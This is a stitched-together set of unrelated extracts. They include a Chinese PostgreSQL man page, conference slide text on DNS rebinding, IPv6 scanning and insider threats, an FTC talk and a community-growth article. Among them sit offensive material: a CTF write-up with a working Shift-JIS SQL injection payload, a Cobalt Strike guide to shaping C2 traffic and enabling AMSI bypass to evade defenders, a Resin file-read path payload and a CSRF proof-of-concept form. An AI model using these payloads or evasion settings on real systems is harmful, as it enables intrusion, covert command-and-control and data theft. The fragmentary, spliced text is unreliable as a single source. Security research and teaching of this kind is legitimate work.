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.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "NOTIFY" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME NOTIFY \- 生成一个通知 .SH SYNOPSIS .sp .nf NOTIFY \fIname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBNOTIFY\fR 命令向当前数据库中所有执行过 LISTEN name 正在监听特定通知条件的前端应用发送一个通知事件 .PP 传递给前端的通知事件包括通知条件名和发出通知的后端进程PID 数据库设计者有责任定义用于某个数据库的条件名和每个通知条件的含义 .PP 通常通知条件名与数据库里的表的名字相同 通知时间实际上意味着"我修改了此数据库请看一眼有什么新东西" NOTIFY 和 LISTEN 命令并不强制这种联系例如数据库设计者可以使用几个不同的条件名来标志一个表的几种不同改变 .PP \fBNOTIFY\fR 为访问同一个 PostgreSQL 数据库的一组进程提供了一种简单的信号形式或进程间通讯机制 更高级的机制除了一个简单的通知名以外可以通过使用数据库中的表从通知者传递数据到被通知者 .PP 当NOTIFY用于通知某一特定表修改的动作的发生 一个实用的编程技巧是将 NOTIFY 放在一个由表更新触发的规则里用这种方法 通知将在表更新的时候自动触发而且应用程序员不会碰巧忘记处理它 .PP \fBNOTIFY\fR 和 SQL 事务用某种重要的方法进行交换首先如果 NOTIFY 在事务内部执行通知事件直到事务提交才会送出 这么做是有道理的因为如果事务退出了 那么在它里面的所有命令都没有效果  包括 NOTIFY但如果有人希望通知事件立即发送这就不太好了 其次当一个正在监听的会话在一次事务内收到一个通知信号 直到本次事务完成提交或退出之前该通知事件将不被送到与之相连的客户端 同样如果一个通知在事务内部发送出去了 而该事务稍后又退出了我们就希望通知可以在某种程度上被撤消 但通知一旦发送出去服务器便不能从客户端"收回"通知 所以通知时间只是在事务之间传递这一点就要求使用 NOTIFY 作为实时信号的应用应该确保他们的事务尽可能短 .PP \fBNOTIFY\fR 在一方面的行为象 Unix 的信号 如果同一条件名在短时间内发出了多条信号接收者几次执行 NOTIFY 可能只回收到一条通知信息 所以依赖于收到的通知条数的方法是很不可靠的因而使用 NOTIFY唤醒需要关注某事的应用 同时还要使用数据库对象如序列号来跟踪事件发生了几次 .PP 客户端经常会自己发送与正在监听的通知名一样的 NOTIFY 这时它客户端也和其他正在监听的会话一样收到一个通知事件 这样可能导致一些无用的工作与应用逻辑有关 例如 对客户端刚写过的表又进行一次读操作以发现是否有更新 我们可以通过检查服务器进程的PID在通知事件中提供 是否与自己的后端的PID一致从 libpq 中取得当他们一样时 说明这是其自身回弹的信息可以忽略不管前面章节是如何讲的这是一个安全的技巧 PostgreSQL 保持自身的通知和其他到来的通知区分开 所以你屏蔽了自己的通知后不会略过外部的通知 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 生成信号通知的通知条件任何标识符 .SH "EXAMPLES 例子" .PP 在 \fBpsql\fR 里配置和执行一个监听/通知对 .sp .nf LISTEN virtual; NOTIFY virtual; Asynchronous notification "virtual" received from server process with PID 8448. .sp .fi .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准里没有 NOTIFY 语句 .SH "SEE ALSO 参见" LISTEN [\fBlisten\fR(7)], UNLISTEN [\fBunlisten\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>


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State of DNS Rebinding Attack & Prevention Techniques and the Singularity of Origin Gérald Doussot & Roger Meyer | DEF CON 27 New Tool: Singularity  Everything you need for DNS rebinding  Reliable: Default settings just work  Performant: up to 20x faster (3s vs 60s)  Built-in payloads: Jenkins, Rails, AWS Instance Metadata, etc...  Autopwn: Networks & services scan, service detection and auto-exploitation Contributions Neat Technical Details/Techniques  Speed: Multiple DNS answers and cache flooding  Protection Bypasses: 3 different bypasses for common DNS rebinding protections  Using DNS trickery  Hook/Control - Interactively browse the victims internal network  Websocket proxying, no HTTP proxy needed! Agenda  A Refresher on DNS Rebinding  DNS Rebinding Attack: Building on reliable foundations  The Need for Speed: DNS rebinding in 3 seconds  Protection Bypasses: 3 different bypasses for common DNS rebinding protections  Hook and Control: Interactively browse the victims internal network  Scanning for Vulnerable Host Services  Automation: Service detection & exploitation and orchestrating all the above Introduction Who Are We  Gérald Doussot and Roger Meyer  Security consultants at  San Francisco, CA  Authors of Singularity of Origin, a DNS Rebinding Attack Framework https://github.com/nccgroup/singularity Why Should You Care About DNS Rebinding bind 0.0.0.0 Why Should You Care About DNS Rebinding bind 127.0.0.1 Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding Why Should You Care About DNS Rebinding  Prevalence of apps exposing HTTP servers on localhost (e.g. Electron)  IoT devices exposing sensitive interfaces on internal networks  Misconceptions  DNS rebinding is slow  DNS rebinding can be solved by out-of-the-box DNS filtering products or services A Refresher on DNS Rebindin


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## Good Morning (web, 3 points, 110 solves) http://52.86.232.163:32800/ https://s3.amazonaws.com/bostonkeyparty/2016/bffb53340f566aef7c4169d6b74bbe01be56ad18.tgz In this task we were given a source of web survey. It used MySQL in backend to store our answers. The script was not using prepared statements, so we quickly came to conclusion that there has to be a SQL injection possible. Unfortunately, our input was escaped before passing to MySQL library. However, they use their home-made escaping function instead of properly tested official ones. Because the site was in Japanese, they used Shift-JIS character encoding. One of the oddities conencted to this encoding is that it changes position of backslash - 0x5C, which is ASCII backslash, in SJIS means yen. The websocket and Python script itself (including escaping function) use Unicode, so we can send `[yen]" stuff`, which will be converted by escaping function to `[yen]\" stuff`, and then converted to SJIS `0x5C\" stuff`. Since 0x5C is equivalent to backslash, that means our input will be interpreted as one escaped backslash, followed by unescaped quote, enabling us to put arbitrary SQL code there. Proof: ``` >>> print mysql_escape(json.loads('{"type":"get_answer","question":"q","answer":"\u00a5\\\""}')["answer"]).encode("sjis") \\" ``` Exploiting via Chrome developer console: ``` socket.onmessage=function(e){console.log(e.data);}; socket.send('{"type":"get_answer","question":"q","answer":"\u00a5\\\" OR 1=1 -- "}') VM416:2 {"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]} ```


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RESEARCH ON THE MACHINES HELP THE FTC PROTECT PRIVACY AND SECURITY Humans User: Terrell McSweeny Function: Commissioner, FTC @TMcSweenyFTC User: Lorrie Cranor Function: Chief Technologist, FTC @lorrietweet Machines Speech Schematics Privacy & Security Protections Now Issues of the Day We Need Your Help! How does the FTC respond to the Rise of the Machines? When machines are everywhere? What does the FTC do? Unfair Deceptive What do unfair and deceptive mean?  Unfair =  Substantial Injury to Consumers  Unavoidable  Not Outweighed Procompetitive By Benefits  Deceptive =  Act Likely to Mislead Consumers  Unreasonable  Material For Example  Facebook promised to keep personal info safe, but allowed 3rd party access Google promised Gmail contacts wouldnt be used elsewhere, but used them in its social-media site, Buzz Snapchat promised images would disappear, but kept them For Example  Wyndham unfairly exposed consumers payment-card info in three separate data breaches ORACLE promised its updates would protect consumers, but didnt protect older versions of Java SE. ASUS promised its routers would protect local network against attacks, but failed to update them enough How do we decide what cases to bring? Research Media Complaints Current Issues Mobile phone account hijacking and new account fraud Number of incidents reported % of identity theft reports January 2013 1,083 3.2% January 2016 2,658 6.3% Reported to FTC Consumer Sentinel Network PII FCC NHTSA DOE FAA HIPPA Defenseless Data FACTA ECOA COPPA FCR A FTC Act FTC Sept.&9,&2015&&San&Francisco& Nov.&5,&2015&-&Aus;n& Feb.&9,&2016&-&Sea>le& June&15,&2016&-&Chicago& 2017&&Stay&Tuned& Outreach Office of Technology Research & Investigation 2016 Fall Technology Series Ransomware September 7 Drones October 13 Smart TV December 7 ftc.gov/tech Putting Disclosures to the Test September 15, 2016 ftc.gov/tech ftc.gov/tech January 12, 2017 Research Wish List: What is the FTC looking for? We want  Research on Privacy & Security  Wha


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How South Korea Makes White-hat Hackers # 2013 edition! beist (Korea University, GrayHash) email: beist@grayhash.com web: http://grayhash.com About me SeungJin Beist Lee Ms-Phd course at Korea University (CIST IAS LAB) Member of advisory council for Cyber Command in Korea Principal Security Consultant at GrayHash Consulting for big companies in Korea Many wins at hacking contests/Run hacking contests/conferences Talk at SYSCAN, CANSECWEST, TROOPERS, SECUINSIDE, etc Hunting bugs is my favorite hobby Intro This is not a tech talk Very easy talk, so, relax This talk doesnt say everything about the situation in Korea But tried to put together as much as i can A bit of security scene history in Korea How we get inspired How we make white-hat hackers This is an extended version of AVTOKYO talk i gave at When the scene gets activated People say the scene has been started since the end of 90 There were 2 big events at that time Elite hackers at top universities (Postech and Kaist) They were hacking each other and some went to jail This was issued even on the media Hackerslab (Wargame site) Most underground hackers started from the site First well-known infosec IRC in Korea When the scene gets activated From 2000, there have been underground teams Hackerschool BEISTLAB Wowhacker Null@root No illegal stuff, they teach and train next generation Many of them are now high-ups and still working in this ﬁeld They really do for the community When the scene gets activated Industry around 2000 There were many security products Mostly, IDS, Firewall and Secure OS But penetration testing really made infosec guys As its hack Pen-testing business was really messed up at that time Companies stole others contracts by hacking Why the scene is motivated? (What happened?) Motivations to Government Industry The community Why the scene is motivated? (What happened?) Government We have a very special situation South Korea vs North Korea The government started to ﬁnd good hackers They (secretly)


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Routing in The Dark Scalable Searches in Dark P2P Networks Ian Clarke and Oskar Sandberg The Freenet Project Ian Clarke & Oskar Sandberg - 2005  p.1/33 Introduction  We have long been interested in decentralised Peer to Peer networks. Especially Freenet. Ian Clarke & Oskar Sandberg - 2005  p.2/33 Introduction  We have long been interested in decentralised Peer to Peer networks. Especially Freenet.  But when individual users come under attack, decentralisation is not enough. Ian Clarke & Oskar Sandberg - 2005  p.2/33 Introduction  We have long been interested in decentralised Peer to Peer networks. Especially Freenet.  But when individual users come under attack, decentralisation is not enough.  Future networks may need to limit connections to trusted friends. Ian Clarke & Oskar Sandberg - 2005  p.2/33 Introduction  We have long been interested in decentralised Peer to Peer networks. Especially Freenet.  But when individual users come under attack, decentralisation is not enough.  Future networks may need to limit connections to trusted friends.  The big question is: Can such networks be useful? Ian Clarke & Oskar Sandberg - 2005  p.2/33 Overview of Peer to Peer net- works  Information is spread across many inter- connected computers Ian Clarke & Oskar Sandberg - 2005  p.3/33 Overview of Peer to Peer net- works  Information is spread across many inter- connected computers  Users want to ﬁnd information Ian Clarke & Oskar Sandberg - 2005  p.3/33 Overview of Peer to Peer net- works  Information is spread across many inter- connected computers  Users want to ﬁnd information  Some are centralised (eg. Napster), some are semi- centralised (eg. Kazaa), others are distributed (eg. Freenet) Ian Clarke & Oskar Sandberg - 2005  p.3/33 The Small World Phenomenon  In "Small world" networks short paths exist between any two peers Ian Clarke & Oskar Sandberg - 2005  p.4/33 The Small World Phenomenon  In "Small world" networks short paths exist between any two peers  People tend to


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使用CobaltStrike从学习C2profile开始 0x00 前言 我一直是CS的忠实粉丝随着CS4.4的发布增加了反射DLL的自定义功能让CS越来越高度可定制化 了完全没有必要因为防御方的各种查杀CS而放弃CS转而选择其他C2或者自己编写C2当然我也 认可在一次高对抗的红队行动中前锋马潜伏马是必不可少的多备几套C2方案也没有问题 如果你在行动中在流量层被查杀那么你一定是没有用好C2profile我不打算一一解释C2profile的参 数的意义因为官方文档很详细了https://www.cobaltstrike.com/help-malleable-c2也可以阅读http s://github.com/Tylous/SourcePoint#global-options 这个SourcePoint是近期出现的适应最新版本的C2profile自动生成工具上一个类似工具是https://git hub.com/FortyNorthSecurity/C2concealer但是现在已经落后了推荐使用SourcePoint 0x01 SourcePoint 这个工具目前还缺少DNS相关的C2profile不过作者已经增加到To Do List接下来我们使用一下这个 工具这个工具是用GO编写的作者也发布了编译好的版本因此使用非常容易我们使用最简参数 也就是必须填写的参数 -Outfile 输出文件名 -Host TeamServer的域名或IP -Injector 进程注入使用的函数 我们来看下生成的C2profile怎么样 图中有一个[!]就是默认是开启了分阶段的这个开启会导致任何人可以下载你的payload具体 看关于CobaltStrike的Stager被扫问题 配置中缺少了 set sample_name "myc2profile"; 还是要给c2配置取个名字启动Listener的时候 好选择 set sleeptime "40000"; 默认生成的这个有点大默认是60000也就是60秒这儿是40秒每 次我都感觉等的着急我一般设置在10秒也就是10000然后抖动值为50也就是 set jitter "50"; 也就是说回连在5到10秒之间抖动当然在不操作的时候还是要设置回连间 隔长一点我一般设置15到30分钟之间 DNS相关配置是被注释掉的需要我们手动配置 SourcePoint.exe -Outfile my.c2profile -Host 127.0.0.1 -Injector NtMapViewOfSection dns-beacon { set dns_idle "8.8.8.4"; set dns_max_txt "196"; # 这个需要注意需要被4整除的数字 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-19 No. 1 / 5 - Welcome to www.red-team.cn 配置中transform-x86和transform-x64把大部分关键字抹除掉了这个很多公开的配置都没 有点赞 set startrwx "true"; 这个配置中是true改为false还是不要用可读可写可执行来分配内存 set amsi_disable "true"; 这个CS自带AMSI绕过技术开启需要注意毕竟CS是大众工具 CS自带的方法很有可能被特征这也是为什么以前好用的execute-assembly有时不好用 了.net4.8加入了AMSI的接口因此如果你在有.net4.8以上的机器上使用要慎重目前使用比 较多的是BOF或者自己byapss amsi set uri "hapvwW2LESRmSSSc8oLrQrS4M "; 默认的这个url是有问题的需要以 / 开始可以使 用/api/v1/auth这样比较常见的url 证书使用的是自签名证书最好还是搞个免费证书 整体看这个工具还是不错的关键是它关于HTTP(S)数据包伪造除了提供了6个模板 Microsoft Window's Update Communication Slack's Message Communication Gotomeeting's Active Meeting Communication Microsoft Outlook's Email Communication Cloudfront.net AzureEdge.net 还可以自己定义模板比如模仿访问qq.comalipay.com的http数据包内容 修改完一定要使用c2lint验证是否正确但是c2lint也不是万能的例如如果把回传数据加入url当 中并使用base64编码由于base64的字符中包含能够影响u


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笔记本 用户运营 创建时间 2020/4/4 11:24 更新时间 2020/4/4 12:32 作者 邵云蛟 URL https://mp.weixin.qq.com/s/qgChhHyfle0DXBMTsm-vtQ 星球圆桌如何提升社群活跃度 分享人邵云蛟 旁友圈PPT学习社群创建者 之前受知识星球运营采访聊了一些如何提升社群活跃度的方法后来在运营的过程中又有 了一些新的想法在这里分享一下 如果你经常看星球活跃榜会发现旁友圈 PPT 学习社群经常会出现在前3名之中截止到目 前星球定价365元人数已经超过了25000人主题数超过40000条评论数近16W条应该算 是比较活跃了对吗 那想要保持一个社群的高活跃度最好的状态我个人的理解是让它具备自生长的能力也就是 不用天天变着法地搞活动用户进入到这个社群里它也能够依旧活跃大家都能够聊的起来 这是我运营社群的目标 那我是怎么做的呢 一定要给所有人一个能够持续讨论的东西别人加入星球就是为了这个事儿来的而且这个 事儿还要是持续的以及围绕这个事儿有要讨论的意愿 啥意思呢咱们先抛开任何的社群工具不管是知识星球还是知识宇宙之类的因为社群工具 起到的作用只是加强讨论的便利性而离开社群工具之后对于一件事情大家还有要讨论的 想法吗如果没有那可能就不适合做社群 举个例子比如有很多分享资源的社群大家来这里的目的就是领资源很少会主动讨论对 吗 这时候问题来了难道没有更方便的资源领取的工具吗肯定有那为啥还选择社群工具呢对 不对 那旁友圈是怎么做的呢 我们建立社群之初就干一件事儿完成 PPT 作业为啥选这个事儿呢 首先这个事儿值得用户付费加入因为有专门的老师指导如果不理解想想线下的培训班 想想找家教不就是想找个人辅导吗这个需求本来就有我只是搬到了线上且更方便了 其次这个事儿是持续的每周一期的练习而且每期内容都不一样持续性没啥问题 最后这个事儿有讨论的意愿在做作业的过程中难免遇到大大小小的问题交流学习肯定是 在所难免不管是线上还是线下这个需求始终存在 到这里能理解了对吗 当然上面说的这个事儿想让它持续运转下去离不开一个前提那就是要不断有新学员加 入因为一个学员他终有学会的一天当学有所获之后学员就会慢慢流失如果没有新的学 员来加入那么这个事儿就会陷入一个恶性的循环 那就是因为很少有人做作业了所以其它学员也就不愿意讨论了因为没有很多不一样的观 点和作品值得讨论慢慢地社群就挂了 当然问题来了该如何让更多学员原意加入进来呢我的做法是提高社群价值怎么做呢 围绕做作业这个事儿我们开发了4门系统型 PPT 学习课程并且把社群内每年的 PPT 优秀作业 整理一遍在年末推出一份近2000页的 PPT 设计灵感手册而且还有其它服务总之都是围 绕着练习这个事儿展开的 所以每天都会有新的学员加入进来 好像有点跑题了这篇主要想分享的是提高社群活跃度用户增长的事儿今天不过多讨论继 续回到前面关于社群作业的这个事儿 有一些布置作业的思考在这里结合之前的采访也分享一下 Q小星探每次布置一道作业题会做哪些准备 A星主邵云蛟布置作业题目的话其实是在每年年初就策划好了的因为我们的星球里在新 人加入的时候会有一个表单 我们会了解到他做 PPT 的实际需求以及他个人的职业属性通过这个信息呢我们基本上就 能够判定出星球里大多数人经常要做的 PPT是哪种类型在年初规划相关作业题目的时 候就把这个规划进去 另外呢做过 PPT 的朋友都知道其实 PPT 的页面类型呢有很多种比如像封面目录地 图时间轴图表表格等我们制定每一期作业题目的时候也会基于这个维度进行策划 Q小星探为什么会建议星友交作业打上标签#这个标签发挥了什么作用 A星主邵云蛟之所以要打标签这个就很简单了是因为便于分类查找 而且我们还有一个特别的需求因为我们的星球每年年底也就是 12 月份会把一年内所提 交的优秀作业给分类整理推出一个 1980 页 PPT 设计灵感手册就是收录了每周的优秀作 业今年是第 3 年 使用这个功能的话便于我们的同事们去分类整理这些 PPT 页面 除此之外之所以一定要打上标签的原因还有一个作用在于内容区分 因为我们的星球里有很多围绕着 PPT 的栏目内容如果没有标签进行区分的话会很容易混 淆这个的作用我理解的就类似于网页的导航栏吧 Q小星探鼓励星友交作业在星球运营上起到了什么作用 A星主邵云蛟鼓励星友交作业在星球的运营上更多的是维持了星球的活跃度因为这是星 球里每周固定要做的事情做作业这件事儿本身就相当于一个信号 大家在每周二的晚上就知道有新的作业要出现了在下周一的晚上优秀作业就放榜了长期 以来大家就会形成进入社群的一种惯性每周至少要来那么几次 而且因为我们更加偏向的是 PPT 的设计制作鼓励更多人去交作业会连带衍生出更多的社区 内容比如一份优秀作业他做的好了那是不是可以考


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1 Resin<=Q.L.TS件读取 个前发现的洞直接fuzz到的p0desta师傅挺早就发现了官在去年128号修复了这个漏洞 https://caucho.com/products/resin/download 此漏洞泛微不可因为泛微的安全过滤器不允许URL出现分号 看过resin代码的都知道他在下这个地匹配 Servlet com.caucho.server.dispatch.ServletMapper#mapServlet 默认存在 resin-file 和 resin-jsp 当所有 Servlet 都匹配不到的时候就会 resin-file 先看读取jsp件内容 com.caucho.server.dispatch.ServletMapper#mapServlet 前 代码分析 2 此处先获取根据 invocation.getContextURI() 获取URL然后进 stripPathParameters 处 理路径参数也就是去除分号及其后的字符得到 /b.jsp. 再与 _servletMap 的正则匹配此时匹 配不到就会进默认的 resin-file 进件读取 com.caucho.servlets.FileServlet#service 3 先根据 servletpath 获取到 /b.jsp. 然后进 getRealPath 进 normalizeUri 4 如果是windows的话会将最后个.或空格移除还有就是会将斜杆前的点或空格移除 这样跟下来有的就会问为啥 /b.jsp. 不能直接读件啊 因为实际上在到达 com.caucho.server.dispatch.ServletMapper#mapServlet 之前会先进  com.caucho.server.dispatch.InvocationDecoder#splitQueryAndUnescape 在这就会先对 uri 进 normalizeUri 去除这个 . 所以payload是 %20;xxx 或者 .;xxx  读WEB-INF下的 5 主要是在这做了限制原理和上样这的是 relPath 来判断是没有去除空格的但是不能使  /.;/WEB-INF/XXX 因为在 normalizeUri 存在个判断 6 意思概是如果斜杆后是分号就报错如果斜杆后是点的话会先跳过点判断其他的就和前类似 了 com.caucho.server.dispatch.InvocationDecoder#normalizeUri(java.lang.Strin g, boolean) 研究了下没绕过的思路了 normalizeUri 对空格和点在某些特殊位置的处理两次传 normalizeUri 时利分号的特性 使得最开始的次带分号进第处不带分号进 三官修复 四总结 7


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Repelling the Wily Insider Ma#as Madou, PhD / Jacob West DEF CON 18 / Las Vegas, NV / 7.30-8.1, 2010 7/4/10 2 Ma#as Madou  Security Researcher @ For#fy SoKware  Focus on new techniques to ﬁnd vulnerabili#es (sta#c and dynamic)  New ways to protect WebApps  Contributor to BSIMM Europe  History in Code Obfusca#on (& Binary Rewri#ng) 7/4/10 3 Jacob West  Director of Security Research, For#fy SoKware  Secure Programming with Sta#c Analysis  Speaker at RSA, Black Hat, Def Con, OWASP, SANS, Web 2.0  Contributor to MOPS, a C/C++ sta#c analysis tool (UC Berkeley) 7/4/10 4 Overview  Intro  Insider Threat Background  Classes of Insider Threats  Techniques for Defenders  Face-Oﬀ  Conclusion 7/4/10 5 2009 Computer Crime Survey  43% of the companies had losses due to malicious insiders (66% due to non-malicious) 7/4/10 6 Overview  Intro  Insider Threat Background  Classes of Insider Threats  Techniques for Defenders  Face-Oﬀ  Conclusion 7/4/10 7 Which Insiders?  Developers  Less destruc#ve, more subtle. Reason: Trace code back to the developer  not about IT people 7/4/10 8 Mo#ves 7/4/10 9 What if You Get Caught?  Medco: Failed Logic Bomb: 30 months (up to 10y)  UBS: Successful Logic Bomb: 8 years 7/4/10 10 What We're Looking For: Bad Code 7/4/10 11 2004 Obfuscated Vo#ng Contest  2004 coding contest hosted at Stanford  41 par#cipants submit electronic vo#ng code  Objec#ves:  Count correctly in test mode  Skew toward one candidate during the real elec#on  Human code reviewer should not no#ce the bias  Skew should be subtle enough to avoid aken#on 7/4/10 12 Contest Results  Techniques used by top 10 entries 1 4 2 3 Buﬀer Overﬂow Unini#alized Memory Convoluted or obscured logic Dangerous language features (macros) 7/4/10 13 Overview  Intro  Insider Threat Background  Classes of Insider Threats  Techniques for Defenders  Face-Oﬀ  Conclusion 7/4/10 14 Classifying Well-Known Examples  Medco  Linux  Borlands InterBase  Wordpress if ( date > April 23, 2005 ) delete all files on all 70 se


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# T1040-linux-网络嗅探 ## 来自ATT&CK的描述 网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息攻击者可以将网络接口置于混杂模式以通过网络被动地访问传输中的数据或者使用跨接端口来捕获更大量的数据 通过该技术可以捕获的数据包括用户凭证尤其是通过不安全的未加密协议发送的凭证网络嗅探还可以获取到配置细节例如运行服务版本号以及后续横向移动和防御逃避活动所需的其他网络特征例如IP寻址主机名VLAN ID ## 测试案例 tcpdump -c 5 -nnni #{网卡接口} tshark -c 5 -i #{网卡接口} ## 检测日志 linux /var/log/message 值得注意的是Ubuntu下默认不开启message日志需要手动开启 ## 测试复现 ### 场景一 ```bash root@icbc:~# tcpdump -c 5 -nnni ens33 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes 10:37:34.347544 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:37.355725 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:40.356238 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:43.356969 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:49.808569 IP 192.168.66.148.59150 > 192.168.66.2.53: 15476+ [1au] A? connectivity-check.ubuntu.com. (58) 5 packets captured 5 packets received by filter 0 packets dropped by kernel ``` ### 场景二 ```bash root@icbc:~# tshark -c 5 -i ens33 Running as user "root" and group "root". This could be dangerous. Capturing on 'ens33' 1 0.000000000 192.168.66.148  192.168.66.2 DNS 100 Standard query 0xe349 A connectivity-check.ubuntu.com OPT 2 0.038532840 Vmware_e8:11:b3  Broadcast ARP 60 Who has 192.168.66.148? Tell 192.168.66.2 3 0.038552195 Vmware_02:d5:c7  Vmware_e8:11:b3 ARP 42 192.168.66.148 is at 00:0c:29:02:d5:c7 4 0.038758293 192.168.66.2  192.168.66.148 DNS 132 Standard query response 0xe349 A connectivity-check.ubuntu.com A 35.224.99.156 A 35.222.85.5 OPT 5 0.039670671 192.168.66.148  35.222.85.5 TCP 74 57812  80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=136575048 TSecr=0 WS=128 5 packets captured ``` ## 测试留痕 ### 0x1 message日志 Jul 19 10:37:33 icbc kernel: [ 298.396406] device ens33 entered promiscuous mode ### 0x2 message日志 Jul 19 10:47:42 icbc systemd[1]: Started Cleanup of Temporary Directories. Ju


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IPv666 Address of the Beast Chris Grayson @_lavalamp Marc Newlin @marcnewlin CHRIS MARC MY NAME IS ITS THE FUTURE BAYBEEEEEE Where to From Here Capn?  Background  The Scanning Problem  Honeypotting for PSLAAC  Modeling for non-PSLAAC  Being Less Dumb  To The Cloud  Results  IPv666  Conclusion A Bit o Background IPv6 - So Hot Right Now A Tale of Gateways and Set Top Boxes  DEFCON 25  26 CVEs  All in consumer premise equipment (CPE)  Ie: Comcast gateways and set top boxes  IPv6 was a big part  https://github.com/BastilleResearch/CableTap Send-to-TV / Remote Web UI  Gateway web UI accepts remote requests from ISP infrastructure  IPv6 address of target gateway provides remote web UI access via set-top box Seems Kinda Spooky  IPv6 works out of the box without manual configuration  All your devices and networking equipment prefer it  Theres no such thing as private address space (for the most part)  Your IPv4 firewall rules dont apply  ICMPv6 is a critical protocol  Single packets can be relayed to lots and lots of hosts Lets Go Hunting The Problem of Scale  IPv4 32 bit addresses 232 possible addresses 4,294,967,296 addresses  IPv6 128 bit 2128 possible addresses 340,282,366,920,938,463,463,374,607,431,768,211,456 addresses PSLAAC Makes Things Harder  Addresses have host and network bits  Network is site prefix and subnet ID  Host is interface ID  PSLAAC means interface ID is pseudorandom  Even small networks (/96) have 32 bits of randomness Breaking Down the Problem  Modeling for cryptographic entropy is no bueno  Two independent problems instead  Identifying PSLAAC hosts  Identifying non-PSLAAC hosts Honeypotting for PSLAAC Why Honeypotting?  Search space too massive  Instead of finding them, have them find us  Took multiple approaches  DNS Server  SMTP Server  Web Server  Popads! Honey DNS Server  Set up Bind server  Glue records point to IPv6  Zones delegated to IPv4 then IPv6  Post links all over social media  Popads! A Quick Note on PopAds Honey Web Server  Set up b


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# 八跨站请求伪造 > 作者Peter Yaworski > 译者[飞龙](https://github.com/) > 协议[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) ## 描述 跨站请求伪造或 CSRF 攻击在恶意网站电子邮件即使消息应用以及其它使用户的 Web 浏览器执行其它站点上的一些操作并且用户已经授权或登录了该站点时发生这通常会在用户不知道操作已经执行的情况下发生 CSRF 攻击的影响取决于收到操作的站点这里是一个例子 1. Bob 登录了它的银行账户执行了一些操作但是没有登出 2. Bob 检查了它的邮箱并点击了一个陌生站点的链接 3. 陌生站点向 Bob 银行站点发送请求来进行转账并传递第一步中保存 Bob 银行会话的 Cookie 信息 4. Bob 的银行站点收到了来自陌生恶意站点的请求没有使用 CSRF Token 的情况下处理了转账 更有意思的是这个想法也就是恶意网站的链接可以包含有效的 HTML`<imgsrc=www.malicious_site.com>`并且并不需要 Bob 点击链接如果 Bob 的设备例如浏览器渲染了这个图片它会向`malicious_site.com`发送请求来完成 CSRF 攻击 现在知道了 CSRF 的危险之后它们可以以多种方式防范最流行的方式大概是 CSRF Token它必须随着潜在的数据修改气你去一起提交例如 POST 请求这里Web 应用例如 Bob 的银行会生成一个两部分的 Token一个 Bob 会收到另一个由应用保管 当 Bob 试图提交转账请求时它就需要提交 Token银行会验证它这一边的 Token 现在对于 CSRF 和 CSRF Token 来说跨域资源共享似乎越来越普遍了或者只是我注意到是这样本质上CORS 限制了资源包括 JSON 响应被外域访问换句话说当 CORS 用于保护站点时你就不能编写 JavaScript 来调用目标应用读取响应或者进行另一个调用除非目标站点允许 似乎这非常令人混乱使用 JavaScript尝试调用` HackerOne.com/activity.json`读取响应并进行二次调用你也会在下面的例子 #3 看到它的重要性以及潜在的原理 最后重要的是要记住感谢 Jobert Abma 补充并不是每个不带有 CSRF Token 的请求都带有 CSRF 问题一些站点可能执行额外的检查例如比较 Referer 协议头虽然可能出错并且有一些绕过它的案例它是一个字段标识了链接到被请求资源的页面地址换句话说如果 POST 调用中的 Referer 并不来源于收到 HTTP 请求的相同站点站点可能不允许该调用因此能够完成和验证 CSRF Token 的相同操作此外不是每个站点在创建或者定义 Token 时都使用`csrf`术语例如在 Badoo 它使用`rt`参数我们下面会讨论 > 链接 > 查看 [OWASP 测试指南](https://www.owasp.org/index.php/Testing_for_CSRF_%28OTG-SESS-005%29) ## 示例 ### 1\. Shopify 导出已安装的用户 难度低 URL`https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users` 报告链接`https://hackerone.com/reports/96470` 报告日期2015.10.29 奖金$500 描述 Shopify 的 API 提供了一个终端用于导出已安装用户的列表通过上面给出的 URL在站点能够调用该终端并且读取信息的地方存在漏洞因为 Shopify 在该调用中并没有包含任何 CSRF Token 验证所以下面的 HTML 代码可以用于代表任何未知受害者提交表单 ```html <html> <head><title>csrf</title></head> <body onLoad="document.forms[0].submit()"> <form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET"> </form> </body> </html> ``` 这里通过仅仅浏览站点JavaScript 就会提交表单它实际上包含 Shopify API 的 GET 请求使用受害者的浏览器并提供 Shopify 的 Cookie > 重要结论 > 扩展你的


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Jailbreaking the 3DS @smealum( Intro to 3DS Old(3DS(line Whats a 3DS? New(3DS(line 3DS(XL 2DS New(3DS(XL 3DS New(2DS(XL New(3DS  Out(starting(2014(  CPU:(4x(ARM11(MPCore((804MHz)(  GPU:(DMP(PICA(  RAM:(256MB(FCRAM,(6MB(VRAM(  IO/Security(CPU:(ARM946(  Hardware-based(backwards( compatible(with(DS(games(  Fully(custom(microkernel-based(OS(  Out(starting(2011(  CPU:(2x(ARM11(MPCore((268MHz)(  GPU:(DMP(PICA(  RAM:(128MB(FCRAM,(6MB(VRAM(  IO/Security(CPU:(ARM946(  Hardware-based(backwards( compatible(with(DS(games(  Fully(custom(microkernel-based(OS( Memory CPUs Devices ARM9( ARM11( FCRAM( WRAM( VRAM( ARM9( internal( GPU( CRYPTO( NAND( 3DS hardware overview Runs(games,(apps,(menus((everything(you(can(see(and(play(with( 